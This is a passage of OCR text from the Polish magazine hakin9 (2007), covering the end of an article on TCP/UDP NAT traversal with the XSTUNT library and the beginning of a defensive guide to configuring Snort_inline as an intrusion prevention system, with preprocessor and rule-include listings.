A  dowiaduje  się,  że  publiczny  inter-
fejs B to 157.158.180.235 i używa on
portu  3000  do  połączenia  się  z  C
(przy założeniu, że NAT R1 i R2 nie
modyfikuje  portów  źródłowych  przy
translacji). Podobne informacje otrzy-
muje host B. Teraz A i B mogą doko-
nać  próby  połączenia  bezpośrednie-
go. A łączy się do publicznego inter-
fejsu  hosta  B  używając  portu  3000
jako  źródłowego.  Podobnie  postępu-
je B. Jeśli NAT nie jest symetryczny,
to powinien użyć portu 3000 przy łą-
czeniu  się  z  A  do  publicznego  inter-
fejsu B. W momencie przechodzenia
pakietu z ustawioną flagą SYN przez
router, NAT zapamiętuje informację o
mapowaniu i będzie wpuszczał pakie-
ty,  które  pochodzą  od  NAT  drugiego
hosta.  Przebieg  nawiązywania  połą-
czenia  jest  w  większości  identyczny
jak  w  przypadku  komunikacji  za  po-
mocą UDP.

Kolejność wysyłania i odbiera-

nia pakietów ma tutaj dość duże zna-
czenie. Mogą tutaj zajść następują-
ce przypadki:

• Pakiet z SYN komputera A dotrze

do R2 przed wysłaniem przez B
pakietu inicjalizującego połączenie
do A (lub przypadek odwrotny);

• A i B wyślą pakiety równocześnie

co spowoduje, że B otrzyma pa-
kiet z SYN pochodzący od A i vi-
ce versa. Jeśli pakiety są ideal-
nie zsynchronizowane w czasie,
dochodzi do tak zwanego równo-
ległego otwarcia połączenia.

W jednym i drugim przypadku zajdzie
sytuacja,  w  której  host  posiadający
gniazdo  nasłuchujące  na  porcie  P
i próbujący nawiązać połączenie uży-
wając portu P jako źródłowego otrzy-
ma  pakiet  z  ustawioną  flagą  SYN.
W zależności od implementacji stosu

TCP/IP przychodzący pakiet zosta-

nie  skojarzony  albo  z  gniazdem  na-
słuchującym, albo z gniazdem, które
próbowało nawiązać połączenie. Nie
mniej  jednak  oba  przypadki  dopro-
wadzają  do  nawiązania  połączenia.
W pierwszym przypadku – pakiet zo-
stanie zinterpretowany jako próba na-
wiązania  połączenia.  W  odpowiedzi
zostanie odesłany pakiet z ustawioną
flagą SYN-ACK. Funkcja connect wy-
wołana  na  maszynie,  która  zaakcep-
towała połączenie, zwróci błąd, gdyż
adresy i porty źródłowe oraz docelo-
we  są  używane  przez  inne  połącze-
nie. W przypadku, gdy pakiet SYN zo-
stanie  skojarzony  z  gniazdem  próbu-
jącym  nawiązać  połączenie,  gniazdo
nasłuchujące nie będzie w ogóle wy-
korzystywane. Funkcja connect zwróci
status świadczący o udanym połącze-
niu. Pakiet, który został wysłany przez
drugą maszynę nie zawierał flagi ACK,
więc stos TCP/IP wyśle pakiet z usta-
wionymi  flagami  SYN-ACK  (zacho-
wując  oryginalny  i  ustawiając  własny
numer  sekwencyjny  pakietu).  Druga
strona, w momencie odebrania pakie-
tu  z  ustawionymi  flagami  SYN-ACK,
potwierdza  synchronizację  numerów
sekwencyjnych, a całe połączenie jest
gotowe do „użytku”.

Przy stosowaniu tej techniki mo-

że  dojść  do  sytuacji,  w  której  oba
hosty wyślą w tym samym czasie pa-
kiet SYN do siebie, a następnie oba
jednocześnie  potwierdzą  otrzyma-
ne  numery  sekwencyjne  pakietem

SYN-ACK  a  następnie  ACK.  Imple-
mentacje TCP/IP różnie radzą sobie
z tą sytuacją. Możliwa jest sytuacja, w
której z obu stron wywołania connect
się  nie  powiodą,  natomiast  połącze-
nie  zostanie  „magicznie  stworzone”
gniazdami  nasłuchującymi  (po  obu
stronach accept się powiedzie).

Stosowanie tej techniki pociąga

za  sobą  konieczność  istnienia  dwóch
gniazd  przypiętych  do  tego  samego
portu.  Niektóre  systemy  tego  nie  po-
trafią u muszą w zamian użyć sekwen-
cyjnej wersji wyżej opisanego algoryt-
mu.  Host  A  zgłasza  chęć  połączenia
się z B poprzez serwer C. B wykonuje
połączenie do publicznego interfejsu A.
Połączenie to się nie udaje, ponieważ
R1 nie wpuszcza pakietów od B. Na-
stępnie B tworzy gniazdo nasłuchujące

i czeka na połączenia od A. Jeśli NAT
po stronie B nie zlikwiduje wpisów o
połączeniu

B->A

w momencie niepowo-

dzenia połączenia, to A może zerwać
połączenie z C i dokonać próby połą-
czenia się na publiczny interfejs B (uży-
wając tego samego portu źródłowego,
którego używał łącząc się z C). NAT po
stronie B powinien wpuścić żądanie A
umożliwiając gniazdu nasłuchującemu
komputera B nawiązanie połączenia.

Wprawny czytelnik niewątpliwie

zauważy, że skoro NAT R1 i R2 nie
zmieniają portów źródłowych to po-
średnik C nie jest potrzebny. Uwaga
ta jest słuszna zarówno dla protoko-
łu UDP jak i również TCP. Jeśli tyl-
ko hosty A i B znają adresy swoich
publicznych interfejsów, ustaliły port,
na którym chcą dokonać połączenia
i zaczną całą operację w tym samym
czasie – połączenie zostanie zreali-
zowane. W przypadku braku transla-
cji portu pośrednik służy wyłącznie
do wymiany informacji o adresach IP
i synchronizacji całej operacji.

TCP – inne podejście

Złożoność protokołu TCP sprawia, że
istnieją alternatywne podejścia do te-
go prezentowane wyżej. Podobnie jak
w przypadku UDP można posłużyć się
metodą polegającą na ustaleniu takiej
wartości  TTL,  aby  pakiet  mógł  swo-
bodnie opuścić sieć lokalną, ale na ty-
le małej, aby nie dotarł do routera do-
celowego. Gdy oba hosty wyślą takie
pakiety,  spowoduje  to  skonfigurowa-
nie ich routerów NAT tak, aby akcep-
towały  pakiety  należące  do  przyszłe-
go połączenia. Po otwarciu „tunelów”
w NAT można postąpić na trzy sposo-
by. Pierwszy polega na poinformowa-
niu przez A oraz B serwera pośredni-
czącego  o  numerach  sekwencyjnych
użytych do otwarcia tunelu. Następnie
serwer pośredniczący wysyła dwa pa-
kiety ze sfałszowanymi adresami źró-
dłowymi. Pakiet y mają ustawione fla-
gi SYN-ACK i ich zadaniem jest zasy-
mulowanie drugiego etapu połączenia
A z B i B z A. Stosowanie tej techni-
ki pociąga za sobą konieczność zna-
lezienia  ISP,  który  pozwala  na  wysy-
łanie  sfałszowanych  ramek,  co  może
stanowić największy problem. Kolejny
pomysł polega na tym, aby po otwar-

Wszystko o NAT

hakin9 Nr 1/2007

www.hakin9.org

Tekst wprowadzony do okienka ter-
minala hosta B zostanie odebrany
przez serwer A oraz odesłany z po-
wrotem do klienta B.

Czarne chmury na

horyzoncie i nie tylko

Jeśli  NAT  posiada  maszynę  stano-
wą,  za  pomocą  której  filtruje  pakie-
ty, które nie powinny zostać przetwo-
rzone w danym stanie, to możliwe jest,
że nie uda nam się nawiązać połącze-
nia.  Na  przykład,  jeśli  jedynie  akcep-
towalną  przez  NAT  sekwencją  pakie-
tów jest SYN, SYN-ACK, ACK, to NAT
nie zaakceptuje drugiego przychodzą-
cego pakietu SYN prezentowanego w
drugim  podejściu  czy  wychodzącego
pakietu  SYN-ACK  z  trzeciego  podej-
ścia, nie mówiąc już o metodzie, któ-
ra nie stosuje metody z TTL. Kolejny
problem może stwarzać interpretowa-
nie  pakietów  ICMP  oraz  tych  z  usta-
wioną flagą RST, które mogą spowo-
dować zmianę wewnętrzną stanu po-
łączenia  w  NAT.  Ale  warto  mieć  na
uwadze,  że  nawet  najbardziej  opor-
ne  NAT  można  w  sprzyjających  wa-
runkach „przebić”. Wystarczy zastoso-
wać mechanizmy przewidywania por-
tów, dobrze zsynchronizować moment
nawiązywania połączenia lub zmodyfi-
kować stos TCP/IP po stronie klientów
tak, aby był w stanie nawiązywać po-
łączenia TCP pozwalając na małe od-
stępstwa  od  zasad  protokołu.  Opisa-
nie wszystkich pomysłów, które wyko-
rzystywano do przebijania NAT zajęło-
by znacznie więcej miejsca niż niniej-
szy artykuł, a nawet wystarczyłoby na
małą książkę.

Czekając na koniec świata

Przebijanie mechanizmu translacji
adresów i portów jest bardzo ciekawą
i edukującą czynnością.

Można nauczyć się wiele nie tyl-

ko  o  mechanizmie  działania  NAT,
ale  również  poznać  zasady  rządzą-
ce stosami TCP/IP. Producenci opro-
gramowania oraz urządzeń VoIP wy-
korzystują wyżej wymienione techniki
w  swoich  rozwiązaniach  praktycz-
nie  od  momentu,  kiedy  technologia
ta stała się powszechnie stosowana.
Problem  nawiązywania  bezpośred-
nich połączeń jest zatem aktualny. l

ciu  tunelu  w  NAT  przez  host  A  (pa-
kietem SYN), wyłącznie host B doko-
nał próby bezpośredniego połączenia
się do publicznego interfejsu hosta A.
W odróżnieniu od poprzedniego sposo-
bu, pośrednik służy wyłącznie do syn-
chronizacji. Trzecie podejście wymaga
otwarcia tunelu po obu stronach – za-
równo NAT hosta A jak i B. Dodatkowo
wymagana jest wymiana poprzez po-
średnika  informacji  o  numerach  se-
kwencyjnych  użytych  do  otwarcia
„tunelu”.  Następnie  hosty  A  oraz  B
wysyłają  po  jednym  pakiecie  każdy.
Pakiet  powinien  posiadać  ustawio-
ne  flagi  SYN-ACK  oraz  numer  se-
kwencyjny zdalnej maszyny uzyskany
od  pośrednika.  Jedna  z  wyżej  opisa-
nych metod została zaimplementowa-
na  w  bibliotece  XSTUNT.  Do  tworze-
nia bezpośrednich połączeń wykorzy-
stuje ona pośredniczący który oprócz
synchronizacji służy również do wykry-
cia typów NAT łączących się klientów.

Serwer do poprawnego działania wy-
maga dwóch adresów IP, które wyko-
rzystywane one są do określenia typu
NAT. Aby uruchomić serwer wystarczy
wydać polecenie:

./XSTUNTServer 157.158.180.200
157.158.180.201

Na  stronie  XSTUNT  dostępny  jest
przykład klienta oraz serwera biblio-
teki. Serwer rejestruje się w kompu-
terze pośredniczącym i oczekuje na
połączenie  od  klienta.  Klient  łącząc
się do serwera (poprzez pośrednika)
wysyła do niego tekst wprowadzany
interaktywnie  z  klawiatury.  Serwer
odebrawszy dane od klienta wysyła
je z powrotem do klienta. Oczywiście
połączenie pomiędzy klientem a ser-
werem jest połączeniem bezpośred-
nim pomiędzy sieciami lokalnymi.

Aby sprawdzić działanie przykła-

du ze strony wystarczy na hoście A
wydać polecenie:

./xecho server to_jest_id_mojego_
serwera 157.158.180.200 157.158.180.201

Natomiast na komputerze B nale-
ży uruchomić ten sam program lecz
z innymi parametrami:

./xecho client client_id to_jest_id_
mojego_serwera 157.158.180.200
157.158.180.201

O autorze

Konrad Malewski, absolwent informa-
tyki Politechniki Śląskiej. Obecnie dok-
torant informatyki na AGH. Administra-
tor amatorskich sieci komputerowych.
Zarówno w pracy jak i prywatnie intere-
suje się programowaniem oraz bezpie-
czeństwem aplikacji sieciowych.
Kontakt z autorem:
kmalewski@gmail.com

Terminologia

• NAT – (ang. Network Address Translation), zwana także „maskaradą”. Usługa

działająca na routerze pozwalająca komputerom w sieci lokalnej na transparentny
dostęp do innej sieci (zazwyczaj Internet). Czasami można spotkać się ze stwier-
dzeniem host NAT, host za NATem. W pierwszym przypadku chodzi po prostu o
komputer, na którym działa usługa NAT. Drugie określenie jest wykorzystywane
do określenia komputera korzystającego z tejże usługi.

• STUN – (ang. Simple Traversal of User Datagram Protocol Through Network Ad-

dress Translators). Generalnie oznacza protokół, dzięki któremu host za NAT mo-
że wykryć swój publiczny adres, typ NAT, sposób mapowania jego połączeń etc.
Mianem tym określa się również technikę tworzenia połączeń pomiędzy sieciami
lokalnymi za pomocą protokołu UDP.

• TURN – (ang. Traversal Using Relay NAT). Protokół za pomocą którego dwa ho-

sty znajdujące się w różnych sieciach lokalnych przesyłają do siebie dane wyko-
rzystując pośrednika.

Pakiet SYN, Pakiet SYN-ACK, Pakiet ACK – Nagłówek protokołu TCP posiada pola
będące flagami, które wykorzystywane są między innymi do nawiązywania, kończenia
oraz synchronizacji połączenia. Pakiet SYN stanowi wiadomość TCP z ustawioną flagą
SYN. Pakiety SYN-ACK oraz pakiet ACK analogicznie.

www.hakin9.org

hakin9 Nr 1/2007

Obrona

nort to w zasadzie system detekcji wła-
mań (ang. Intrusion Detection System,
IDS), jego natywny tryb działania opiera

się więc na wykorzystaniu karty sieciowej nasłu-
chującej ruchu w danym segmencie sieci.

Aby Snort_inline był w stanie przetwarzać

ruch w segmencie sieci musi on zostać niewi-
dzialnie weń włączony, za pomocą dwóch kart
sieciowych  w  trybie  mostka  (ang.  bridge)  oraz
funkcjonalności  inline.  Funkcjonalność  tę  za-
pewnia  nam  kolejkowanie  ruchu  poprzez  ipta-
bles  (

ip _ queue

); nie jest to jednak wszystko,

musimy bowiem wiedzieć także, na poziomie ip-
tables, który ruch kolejkować. Dzięki temu trybo-
wi pracy Snort_inline może on zachowywać się
jak każdy inny system zapobiegania włamaniom
(ang. Intrusion Prevention System, IPS) i bloko-
wać nawiązywane połączenia. Aby Snort mógł
działać jako system zapobiegania włamaniom
musi on zostać skompilowany z opcją pobiera-
nia flex-response, co pozwala mu na resetowa-
nie ruchu, który ma być blokowany.

Podsumowując, możemy stwierdzić że

Snort_inline  to  zdecydowanie  najefektywniej-
szy  i  najdokładniejszy  tryb,  jako  że  odrzuca
on  ruch  w  sieci  na  podstawie  załadowanych
uprzednio reguł.

Snort_inline w sieci lokalnej

Pierwsza część niniejszego artykułu poświę-
cona będzie krótkiemu wprowadzeniu do za-
gadnienia Snort_inline w sieci lokalnej. Zakła-
damy, że ruch w LANie zorientowany jest głów-
nie na klientów. Na tej podstawie zdefiniować
można następujące klasy ruchu w sieci:

• poczta, klienci WWW, p2p, komunikatory,

spyware, malware, wirusy, trojany, vpn.

Wspólną cechą wszystkich tych typów z punk-
tu widzenia IDS / IPS jest, że nie możemy prze-
twarzać ruchu zaszyfrowanego; oznacza to
brak na liście usług vpns oraz ssl.

Snort_inline

Pierpaolo Palazzoli, Matteo Valenza

stopień trudności

Wykorzystanie Snort_inline okazało się skuteczną strategią

na zabezpieczenie sieci wewnętrznych, DMZ oraz domowych,

w przypadku wielu różnych środowisk i scenariuszy. Aby

narzędzie to działało poprawnie w trybie drop powinno ono

adaptować się do właściwości środowiska, które chroni.

Z artykułu dowiesz się...

•   jak działa Snort_inline,
•   podstaw systemów zapobiegania włamaniom,
•   jak dostrajać konfigurację Snort_inline.

Powinieneś wiedzieć...

• podstawy TCP/IP w środowisku Linux,
• podstawowe zasady działania IDSów.

Snort_inline jako rozwiązanie

hakin9 Nr 1/2007

www.hakin9.org

Rysunek 1 pokazuje poprawne

rozwiązanie dla ochrony tego rodza-
ju,  w  którym  IPS  umieszczony  po-
między routerem, a resztą sieci po-
zwala  nam  analizować  ruch,  który
chcemy  monitorować  bądź  ochra-
niać.

Po poprawnym przygotowaniu

urządzenia musimy dowiedzieć się,
jakie reguły i preprocesory Snorta
będziemy wykorzystywać.

Załóżmy, że konfiguracja Snorta

znajduje się w pliku snort_inline.conf
– na przykład taka, jak dostępna
pod adresem www.snortattack.org/

mambo/script/snort_inline.conf
– i że dla sieci lokalnej zawiera ona

preprocesory jak pokazano na Li-
stingu 1.

Preprocesory dla sieci

lokalnych

Preprocesory  te  przedstawia  Li-
sting 1.  Poniżej  znajdziecie  krótki
opis  poszczególnych  wymienionych
w nim komponentów i funkcji.

Clamav – procesor ten insta-

lowany jest jedynie wtedy, gdy zo-
stał wybrany podczas instalacji
(

--enable-clamav

). Dokonuje on skano-

wania w poszukiwaniu wirusów z bazy
danych Clamava i upewnia się, że nie
są one zaszyfrowane bądź spakowa-
ne. Preprocesor ten niezmiernie wy-

dajnie blokuje e-maile zainfekowane
na potrzeby phishingu. Wykorzystuje
on następujące funkcje:

•

ports

– lista portów do skanowa-

nia (all, !22 – oprócz 22, 110 – tyl-
ko 110)

•

toclientonly

– określa kierunek

skanowanego ruchu

•

action-drop

– informuje urządze-

nie, jak reagować na wirusy

•

dbdir

– katalog zawierający bazę

danych definicji Clamava

•

dbreloadtime

– co ile czasu baza

powinna zostać przeładowana

Perfmonitor  –  preprocesor  ten  po-
zwala nam na zapisywanie w postaci
tekstowej  wszelkich  statystyk  zwią-
zanych z wydajnością oraz przepły-
wem danych w sieci. Jest on krytycz-
ny  dla  poprawnego  funkcjonowania
narzędzia pmgraph, o którym powie-
my więcej później. Również i ten pre-
procesor należy uruchomić podczas
instalacji  (

--enable-perfmon

). Posia-

da następujące funkcje:

•

time –

czas niezbędny do prób-

kowania odczytu danych

Scenariusze dla Snort_inline

Należy zauważyć, że system zorientowany na blokowanie włamań powinien być odpo-
wiednio skonfigurowany i gotowy do adaptacji do dowolnych scenariuszy sieciowych
i rodzajów ruchu. Korzystanie z IPS w trybie inline nie rozwiązuje wszystkich proble-
mów z bezpieczeństwem, pozwala za to na stworzenie scentralizowanego, dynamicz-
nego i wydajnego systemu bezpieczeństwa. IPS powinien wykrywać ruch do i z chro-
nionego źródła. Dzięki interfejsom sieciowym działającym w trybie mostka możemy
niezauważalnie włączyć urządzenie w sieć i w ten sposób zebrać wszelkie niezbędne
dane. Do stworzenia urządzenia inline potrzebna jest nam wiedza o wszelkich właści-
wościach chronionej sieci – od warstwy sieci po warstwę aplikacji.

Poniżej opiszemy kilka przykładów rodzajów segmentów sieciowych, w których

implementacja IPS w trybie inline mogłaby przynieść korzyści zwiększając bezpie-
czeństwo całego systemu:

• sieć wewnętrzna; grupa klientów obsługujących WWW, pocztę, komunikatory, p2p

itd. (Rysunek 1),

• DMZ; grupa serwerów zapewniających usługi powiązane z Internetem (smtp, web,

ftp, pop3, imap, mysql itd.) (Rysunek 2),

• LAN + DMZ (Rysunek 3).

Przede wszystkim powinniśmy na jakiś czas uruchomić Snort_inline w trybie IDS (Alert),
który to czas proporcjonalny jest do rozmiaru sieci (innymi słowy, im większa liczba sys-
temów w niej, tym więcej potrzeba czasu). W okresie tym powinniśmy:

• wychwycić awarie (problemy z wydajnością bądź składowaniem danych, spowol-

nienia itd.),

• przeanalizować ruch w sieci pod kątem fałszywych alarmów.

W ten sposób obserwując zebrane dane możemy dokonać zmian w konfiguracji i zop-
tymalizować działanie urządzenia. Warto zauważyć, że w porównaniu z rozwiązania-
mi komercyjnymi implementacja otwartego IPS może nie być tak prosta, jak się to mo-
że wydawać, możesz mieć zatem pewne problemy z usuwaniem wielu fałszywych alar-
mów na pierwszym etapie procedury dostrajania.

Sugerujemy instalację Snort_inline na dedykowanym komputerze i odpowiednią

organizację jego zasobów sprzętowych (CPU, RAM), według następujących, prostych
zasad: większa liczba reguł wymaga więcej RAMu, zaś duża intensywność ruchu w
sieci zwiększa obciążenie procesora.

Niedawne testy sieciowe pokazały, że do zabezpieczenia połączenia ADSL

(1280/256) potrzebny jest system Geode o częstotliwości zegara 266 MHz i z 128 MB
RAMu (w przypadku tysiąca reguł). Dla pasm o szerokości większej niż 1 Mbps zale-
camy Pentium 4 1 GHz z 512 MB RAM (w przypadku trzech tysięcy reguł).

Rysunek 1.

Ustawiamy urządzenie

w sieci lokalnej

hakin9 Nr 1/2007

www.hakin9.org

Obrona

•

File –

ścieżka do pliku z danymi

•

pkcnt –

maksymalna liczba re-

kordów, jaka może znaleźć się w
jednym pliku

Flow – preprocesor ten potrzebny
jest do działania innych preproce-
sorów, takich jak

flowbits detection

plug-in

czy

flow-portscan

. W skrócie,

preprocesor Flow pozwala Snortowi
przechowywać mechanizmy akwi-
zycji danych. Ma następujące funk-
cje:

•

stats _ interval

– parametr ten

określa przedziały czasu, w se-
kundach, w których Snort będzie
zrzucać statystyki na standardo-
we wyjście.

•

Hash

– parametr ten określa me-

todę mieszania. Wartość 1 defi-
niuje mieszanie po bajcie, war-
tość 4 – mieszanie po liczbie cał-
kowitej.

Stream  4  –  preprocesor  ten  daje
Snortowi umiejętność widzenia pod-
stawowych  właściwości  pakietów
oraz to, gdzie został wygenerowany
(klient  czy  serwer).  Cytując  Marty-
'ego  Roescha:  Zaimplementowałem

stream4 na skutek chęci uzyskania

potężniejszych mechanizmów po-

nownego składania strumieni i obro-

ny przed najnowszymi 'atakami bez-

stanowymi. Wykorzystuje następują-
ce funkcje:

•

disable _ evasion _ alerts

– wy-

łącza alarmy zapisywane przez
stream4

•

midstream _ drop _ alerts

– na-

kazuje preprocesorowi blokowa-
nie połączeń generowanych bez
tworzenia danego strumienia.

Rpc  decode  –  preprocesor  ten  po-
nownie  składa  strumienie  rpc  z  po-
jedynczych pakietów celem ułatwie-
nia ich analizy, jeżeli obecny jest pre-
procesor stream4 możliwe jest prze-
twarzanie  tylko  ruchu  wychodzące-
go od klientów.

Telnet decode – preprocesor

ten normalizuje przepływ znaków
w sesjach protokołu telnet. Nale-
ży podać mu porty, które ma prze-
twarzać.

Reguły dla sieci lokalnych

Kiedy już zdefiniowaliśmy preproce-
sory, Snort potrzebuje określenia w
konfiguracji odpowiednich reguł. Ist-
nieje wiele różnych rodzajów reguł:

•

alert

– generuje komunikat alar-

mowy, a następnie odnotowu-
je go go w pliku bądź bazie da-
nych.

•

log

– zapisuje do pliku bądź bazy

danych.

•

pass

– ignoruje wybrany przez

siebie ruch.

•

drop

– za pomocą iptables odrzu-

ca pakiet, a następnie odnotowu-
je go w pliku bądź bazie danych

•

reject

– w przypadku TCP; połą-

czenie jest resetowane z pomocą
iptables, w przypadku UDP wy-
syłany jest komunikat icmp host

unreachable; następnie zdarze-
nie odnotowywane jest w pliku
bądź bazie danych

•

sdrop

– odrzuca pakiet za pomo-

cą iptables nie logując go.

W  przedstawionym  tutaj  przykła-
dzie  zadaniem  reguły  jest  blokowa-
nie  miosito.com;  jest  to  część  zbio-
ru  reguł  służącego  blokowaniu  ru-
chu kierowanego do sieciowych ka-
syn nieprzestrzegających reguł wło-
skiego  prawa.  Funkcja

drop

określa

działanie, które iptables musi wyko-
nać jak tylko reguła zostanie zasto-
sowana.

Listing 1.

Zalecane preprocesory dla sieci lokalnej

preprocessor perfmonitor: time 60 file/var/log/snort/perfmon.txt pktcnt 500
preprocessor flow:stats_interval 0 hash 2
preprocessor stream4_reassemble: both
preprocessor stream4: disable_evasion_alerts
midstream_drop_alerts
preprocessor clamav:ports all !22 !443,toclientonly, action-drop,dbdir /var/lib/clamav,dbreload-time 43200
preprocessor rpc_decode: 111 32771
preprocessor bo
preprocessor telnet_decode

Tryb mostka

Ustawienie dwóch kart w tryb mostka oznacza połączenie ich funkcjonalności w
warstwie drugiej, co czyni je przezroczystymi dla ruchu w sieci. W trybie tym pa-
kiety przekazywane są z jednej karty do drugiej, co pozwala na poprawne przeka-
zywanie ruchu. Aby uruchomić ten tryb pod Linuksem należy wykonać następują-
ce operacje:

Instalujemy pakiet

bridge-utils

apt-get install bridge-utils

; potrzebne

będzie jądro w wersji 2.6, w przeciwnym razie należy ponownie skompilować jądro
wersji 2.4 włączywszy uprzednio moduł mostka. Mostek pomiędzy dwoma kartami
sieciowymi można zestawić następująco:

/usr/sbin/brctl addbr br0
/usr/sbin/brctl addif br0 eth0
/usr/sbin/brctl addif br0 eth1
/sbin/ifconfig br0 up

Adres MAC przypisany br0 będzie taki sam, jak adres pierwszego interfejsu, który zo-
stał z nim skojarzony.

Snort_inline jako rozwiązanie

hakin9 Nr 1/2007

www.hakin9.org

drop tcp $home_net any ->
any $http ports (
msg:"snortattack-italian-law";
flow:established;content: "miosito.com";
classtype:policy-violation;
reference:url,
www.snortattack.net;
)

Przeznaczeniem  konfiguracji  przed-
stawionej  na  Listingu 2  jest  kontro-
la  aplikacji  p2p,  ochrona  przed  ata-
kami z wewnątrz (które to ataki sta-
nowią  niemal  70%  wszystkich  ata-
ków),  a  przede  wszystkim  selekcja
treści  oglądanych  przez  wewnętrz-
ne hosty.

Snort_inline w DMZ

Drugą część artykułu poświęcimy
krótkiemu wprowadzeniu do zagad-
nienia Snort_inline w DMZ.

Jak wspomnieliśmy wcześniej,

ruch  sieciowy  w  DMZ  z  założenia
dotyczyć  będzie  głównie  serwe-
rów.  Na  tej  podstawie  zdefiniować
możemy  następujące  klasy  ruchu
w DMZ:

• serwer poczty, serwer WWW,

serwer bazodanowy, serwer apli-
kacji, wirus, vpn.

Jednym  z  możliwych  rozwiązań
dla  tego  rodzaju  segmentów  sie-
ciowych  jest  umieszczenie  weń
IPS.  Tym  razem  system  umiesz-
czony  będzie  pomiędzy  routerem,
a DMZ.

Preprocesory dla sieci DMZ

Jedynym preprocesorem, którego
konfiguracja uległa zmianie jest Cla-
mav – ważne jest zdefiniowanie dlań
parametru

toserveronly

aby wybrać

jedynie ruch skierowany do serwe-
rów. Patrz Listing 3.

Frag3 – preprocesor ten zastę-

puje  frag2  i  jest  niezbędny  do  re-
konstrukcji  strumienia  danych  roz-
członkowanego  wskutek  fragmenta-
cji transmisji.

Reguły dla sieci DMZ

Po zdefiniowaniu wszystkich pre-
procesorów musimy podać Snortowi
trochę reguł. Poniżej znajdziesz kilka
ich zastosowań:

•

max _ frags

– maksymalna liczba

śledzonych fragmentów

•

policy

– wybiera sposób frag-

mentacji,  dostępne  metody  to
first,  ast,  bsd,  bsd-right,  linux.
Domyślnym  ustawieniem  jest
bsd.

•

detect _ anomalies

– wykrywa

błędy fragmentacji.

Reguły zalecane do użytku w sieci
DMZ przedstawia Listing 4.

Listing 2.

Lista przydatnych reguł do ochrony sieci lokalnej

# Ogólne

include

etc

snort_inline

rules

bleeding

rules

# Głównie spyware

include

RULE_PATH

bleeding

malware

rules

include

RULE_PATH

malware

rules

include

RULE_PATH

spyware

put

rules

# Eksploity i ataki bezpośrednie

include

RULE_PATH

exploit

rules

include

RULE_PATH

bleeding

exploit

rules

include

RULE_PATH

community

exploit

rules

# DOS

include

RULE_PATH

dos

rules

include

RULE_PATH

ddos

rules

include

RULE_PATH

bleeding

dos

rules

# Dotyczące WWW

include

RULE_PATH

web

client

rules

include

RULE_PATH

community

web

client

rules

# Sygnatury poczty

include

RULE_PATH

community

mail

client

rules

# Trojany, wirusy oraz spyware

include

RULE_PATH

virus

rules

include

RULE_PATH

bleeding

virus

rules

include

RULE_PATH

community

virus

rules

# Peer to peer

include

RULE_PATH

p2p

rules

include

RULE_PATH

bleeding

p2p

rules

Rysunek 2.

Przykład sieci DMZ

hakin9 Nr 1/2007

www.hakin9.org

Obrona

Snort w sieci mieszanej

Jeżeli  chodzi  o  urządzenie  w  sie-
ci  mieszanej  (pokazanej  na  Rysun-
ku 3),  zalecamy  następujące  urzą-
dzenia.

Preprocesory dla sieci miesza-

nej znaleźć można na Listingu 5, od-
powiednie  reguły  zaś  przedstawia
Listing 6.  Przeznaczeniem  opisanej
w  nich  konfiguracji  jest  kontrola  wi-
rusów  oraz  ochrona  maszyn  przed
atakami z zewnątrz w oparciu o blo-
kowanie  eksploitów  wymierzonych
w usługi. Kilka różnych technik ata-
ku  przedstawimy  później,  na  bazie
praktycznych przykładów.

Monitorowanie ataków

i zarządzanie regułami

Interfejsy,  które  przeanalizujemy
i  opiszemy,  opierają  się  na  bazach
danych. W zasadzie, wszystkie wy-
niki  ze  Snorta  składowane  będą
w różnego rodzaju bazach danych:
mysql, postgres itp.

Narzędzia te różnią się między

sobą  i  są  napisane  w  różnych  języ-
kach,  jednak  ogólnie  rzecz  biorąc
wszystkie robią to samo. Są to: ACID,
BASE,  PLACID,  SNORT  REPORT,
SGUIL itd.

Narzędzia te, napisane w PHP

bądź Pythonie, mają krytyczne zna-

czenie dla dobrego IPS / IDS – kry-
tyczną  jest  bowiem  wiedza  o  tym,
co dzieje się z naszym urządzeniem
i  naszą  siecią.  Interfejsy  te  bar-
dzo  prosto  się  instaluje,  wystarczy
rozpakować  archiwa  i  wyedytować
odpowiednie  pliki  konfiguracyjne
tak, by narzędzia łączyły się z bazą
danych Snorta.

Tutaj zdecydowaliśmy się przyj-

rzeć dwóm z nich: BASE oraz PLA-
CID.

Pierwsze z nich jest pochod-

ną ACID (Analysis Console for In-
trusion  Database);  BASE  to  skrót
od  Basic  Analysis  and  Security
Engine  (patrz  Rysunek 4).  Narzę-
dzie  to  pozwala  na  przeglądanie
i przetwarzania bazy danych Snor-
ta i jest napisane w PHP. Jego siłą
jest  wiele  opcji  badawczych  oraz
możliwość  grupowania  alarmów
na  podstawie  ich  adresów  IP,  jak
również innych parametrów, takich
jak czas bądź rodzaj reguły.

Podstawowa implementacja jest

półautomatyczna, wystarczy rozpa-
kować archiwum tar.gz w domyśl-
nym katalogu Apache'a (

/var/www/

zmienić  właściciela  utworzone-
go weń folderu oraz przejść do je-
go  pierwszego  poziomu  za  pomo-
cą  przeglądarki.  Zautomatyzowa-
na  procedura  przeprowadza  nas
przez  tworzenie  niezbędnych  tabel
i  pozwala  rozpocząć  korzystanie
z aplikacji.

tar -zxvf base-1.2.4.tar.gz
mv base-1.2.4 base
mv base /var/www
chown apache. /var/www/base

PLACID

PLACID  napisany  został  w  Pytho-
nie i jest, podobnie jak BASE, prze-
glądarką  zdarzeń  w  bazie  danych.
Zapewnia  taką  samą  funkcjonal-
ność  jak  BASE,  jednak  stwierdzo-
no, że działa szybciej w przypadku
większych baz danych.

Instalacja PLACID nie jest

taka  prosta,  trzeba  zainstalować
Pythona  2.3  oraz  określić  w  pli-
ku  konfiguracyjnym  Apache'a  kilka
niezbędnych  do  poprawnego  dzia-
łania parametrów:

Listing 3.

Lista preprocesorów dla sieci DMZ

Preprocesory dla DMZ
preprocessor perfmonitor: time 60 file /var/log/snort/perfmon.txt pktcnt 500
preprocessor flow: stats_interval 0 hash 2
preprocessor frag3_global: max_frags 65536
preprocessor frag3_engine: policy first detect_anomalies
preprocessor stream4: disable_evasion_alerts detect_scans inline_state
preprocessor stream4_reassemble: both
preprocessor rpc_decode: 111 32771
preprocessor bo
preprocessor telnet_decode
preprocessor clamav: ports 25 80, toserveronly, action-drop, dbdir /var/lib/

clamav, dbreload-time 43200

Listing 4.

Lista reguł zalecanych dla DMZ

include

RULE_PATH

bad

traffic

rules

include

RULE_PATH

exploit

rules

include

RULE_PATH

scan

rules

include

RULE_PATH

dos

rules

include

RULE_PATH

ddos

rules

include

RULE_PATH

dns

rules

include

RULE_PATH

web

cgi

rules

include

RULE_PATH

web

iis

rules

include

RULE_PATH

web

misc

rules

include

RULE_PATH

web

php

rules

include

RULE_PATH

community

web

php

rules

include

RULE_PATH

netbios

rules

include

